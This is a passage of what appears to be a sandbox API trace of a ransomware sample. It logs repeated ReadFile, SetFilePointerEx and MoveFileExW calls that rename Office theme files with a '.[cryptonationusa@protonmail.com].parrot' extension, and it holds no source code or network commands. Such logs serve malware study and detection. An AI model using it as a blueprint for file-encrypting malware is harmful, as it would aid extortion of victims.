lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f4, lpOverlapped=0x0) returned 1 [0124.236] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.240] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.240] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.241] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.241] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6a29, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6a29, lpOverlapped=0x0) returned 1 [0124.244] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.251] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.251] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.252] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.252] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8a1, lpOverlapped=0x0) returned 1 [0124.253] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.253] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.259] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.259] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.260] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.260] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd59f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd59f, lpOverlapped=0x0) returned 1 [0124.263] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.266] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.266] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.267] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.267] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e4, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e4, lpOverlapped=0x0) returned 1 [0124.268] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.270] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.271] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.272] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.272] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5534, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5534, lpOverlapped=0x0) returned 1 [0124.275] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.278] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.279] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.280] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.280] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9df, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9df, lpOverlapped=0x0) returned 1 [0124.280] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.285] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.285] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.286] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.286] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10af1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10af1, lpOverlapped=0x0) returned 1 [0124.289] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.290] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.293] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.293] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.294] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.294] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1d2, lpOverlapped=0x0) returned 1 [0124.294] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.295] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.298] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.298] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.299] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.299] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c45, lpOverlapped=0x0) returned 1 [0124.303] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.308] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.308] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.349] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.349] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6c9, lpOverlapped=0x0) returned 1 [0124.349] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.356] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.356] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.357] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.357] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe232, lpOverlapped=0x0) returned 1 [0124.360] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.364] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.364] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.365] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.365] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x271, lpOverlapped=0x0) returned 1 [0124.365] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.369] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.369] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.370] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.370] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x82c7, lpOverlapped=0x0) returned 1 [0124.374] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.380] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.380] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.382] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.382] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x68b, lpOverlapped=0x0) returned 1 [0124.382] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.390] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.391] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.392] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.392] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbfed, lpOverlapped=0x0) returned 1 [0124.395] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.396] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.399] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.399] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.400] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.400] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x242, lpOverlapped=0x0) returned 1 [0124.400] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.403] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.403] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0124.404] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.404] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x47cc, lpOverlapped=0x0) returned 1 [0124.407] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0124.410] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.410] ReadFile (in: hFile=0x1b4, 